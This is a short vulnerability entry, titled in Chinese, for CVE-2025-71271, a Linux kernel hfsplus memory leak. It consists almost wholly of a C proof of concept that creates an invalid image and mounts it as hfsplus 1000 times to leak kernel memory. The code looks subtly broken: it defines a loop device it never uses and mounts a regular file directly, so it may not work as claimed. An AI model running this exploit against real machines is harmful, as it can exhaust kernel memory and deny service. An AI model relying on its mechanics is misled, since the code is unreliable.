CVE-2025-71271 Linux内核hfsplus内存泄漏漏洞

/* * PoC for CVE-2025-71271 (Memory Leak in hfsplus) * This script attempts to trigger the memory leak by repeatedly * mounting a file as an hfsplus filesystem to force the failure path. * * Compile: gcc -o poc_hfsplus_leak poc_hfsplus_leak.c */ #include <stdio.h> #include <stdlib.h> #include <sys/mount.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #define LOOP_DEVICE "/dev/loop0" #define MOUNT_POINT "/mnt/hfsplus_test" #define TEST_IMAGE "corrupt_hfsplus.img" void create_dummy_image() { // Create a small dummy file that is not a valid hfsplus filesystem int fd = open(TEST_IMAGE, O_CREAT | O_WRONLY | O_TRUNC, 0644); if (fd < 0) return; write(fd, "INVALID HFS DATA", 16); close(fd); } int main() { printf("[+] Attempting to trigger CVE-2025-71271...\n"); create_dummy_image(); mkdir(MOUNT_POINT, 0755); for (int i = 0; i < 1000; i++) { // Attempt to mount the invalid image. // This may trigger the setup_bdev_super failure path // if the kernel detects invalid superblock early enough after allocation. if (mount(TEST_IMAGE, MOUNT_POINT, "hfsplus", MS_RDONLY, NULL) == 0) { umount(MOUNT_POINT); } printf("Attempt %d\n", i); } printf("[+] Done. Check kernel memory usage (slabtop) for leaks.\n"); return 0; }